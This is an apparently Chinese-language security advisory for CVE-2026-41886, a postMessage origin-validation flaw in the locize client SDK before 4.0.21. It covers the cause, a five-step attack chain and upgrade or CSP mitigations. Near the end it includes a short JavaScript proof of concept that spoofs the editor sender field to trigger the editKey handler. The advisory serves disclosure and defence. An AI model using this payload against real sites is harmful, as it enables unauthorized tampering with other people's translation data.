IPBUF安全漏洞报告
English
CVE-2026-41886 CVSS 7.5 高危

CVE-2026-41886 locize客户端SDK权限绕过漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41886
漏洞类型
跨站脚本攻击
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
locize client SDK

相关标签

XSSPostMessagelocize权限绕过客户端漏洞

漏洞概述

locize是一款连接代码和国际化设置的本地化平台。在其4.0.21版本之前的客户端SDK中,存在一个严重的安全设计缺陷。SDK注册了一个window消息监听器,用于处理来自编辑器的内部指令,但在分发这些指令之前,未能验证消息的来源。相反,它仅检查了消息载荷中攻击者可控的sender字段。这允许任何能够嵌入或被嵌入locize启用主机的第三方网页,发送精心构造的postMessage消息并触发内部处理程序,从而导致权限绕过和潜在的数据安全风险。

技术细节

该漏洞的技术根源在于locize客户端SDK(具体位于src/api/postMessage.js)对postMessage事件处理机制的逻辑缺陷。开发人员虽然意识到了需要区分合法消息,但错误地依赖了载荷内部的数据而非信源属性。具体而言,代码仅对event.data.sender是否等于'i18next-editor-frame'进行了校验,而完全忽略了浏览器提供的安全属性event.origin。攻击者利用这一缺陷,可以通过构建恶意网站,诱导受害者访问。恶意网站通过iframe嵌入目标页面或通过window.open打开目标页面,建立起与受害窗口的通信渠道。随后,攻击者构造一个特殊的JavaScript对象,将sender字段伪装为合法值,并在载荷中注入恶意操作指令(如editKey或commitKey)。通过调用postMessage API发送此对象,受害者的locize SDK会误以为这是来自可信编辑器的指令,进而解析并执行该操作。由于未验证源,这实质上打破了同源策略,使得攻击者能在受害者上下文中执行敏感功能,导致数据篡改或信息泄露。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站使用了存在漏洞的locize客户端SDK(版本<4.0.21)。
STEP 2
诱导
攻击者制作一个恶意网页,诱导受害者访问。该恶意网页通过iframe嵌入目标网站或通过window.open打开目标网站,以获取窗口引用。
STEP 3
构造载荷
攻击者在恶意网页中构造JavaScript对象,将sender字段设为'i18next-editor-frame'以绕过校验,并在data中包含恶意操作指令。
STEP 4
发送消息
恶意网页调用postMessage API,将构造好的载荷发送给受害者的窗口上下文。
STEP 5
执行操作
受害者的locize SDK接收消息,因未验证origin而误信消息来源,触发editKey等内部处理程序,执行恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-41886 // The vulnerability allows triggering internal handlers by bypassing origin checks. // 1. Assume we have a reference to the victim's window (e.g., via window.opener or iframe contentWindow) let victimWindow = window.opener; if (victimWindow) { // 2. Craft the malicious payload // The vulnerable code checks: event.data.sender === "i18next-editor-frame" // It does NOT check: event.origin const maliciousPayload = { sender: "i18next-editor-frame", // Spoofed sender to bypass the weak check type: "editKey", // Targeting a specific internal handler data: { ns: "translations", key: "exploited_key", value: "malicious_value_injected" } }; // 3. Send the postMessage to the victim // Using '*' as targetOrigin is dangerous but demonstrates the lack of origin validation on receiver side victimWindow.postMessage(maliciousPayload, "*"); console.log("[+] Exploit payload sent to victim window."); } else { console.log("[-] Victim window reference not found."); }

影响范围

locize client SDK < 4.0.21

防御指南

临时缓解措施
建议立即检查项目依赖,将locize客户端SDK升级至v4.0.21或更高版本。如果无法立即升级,应配置严格的Content Security Policy (CSP)策略,限制页面被第三方iframe嵌入,或者暂时禁用SDK的postMessage监听功能以阻断攻击路径。

参考链接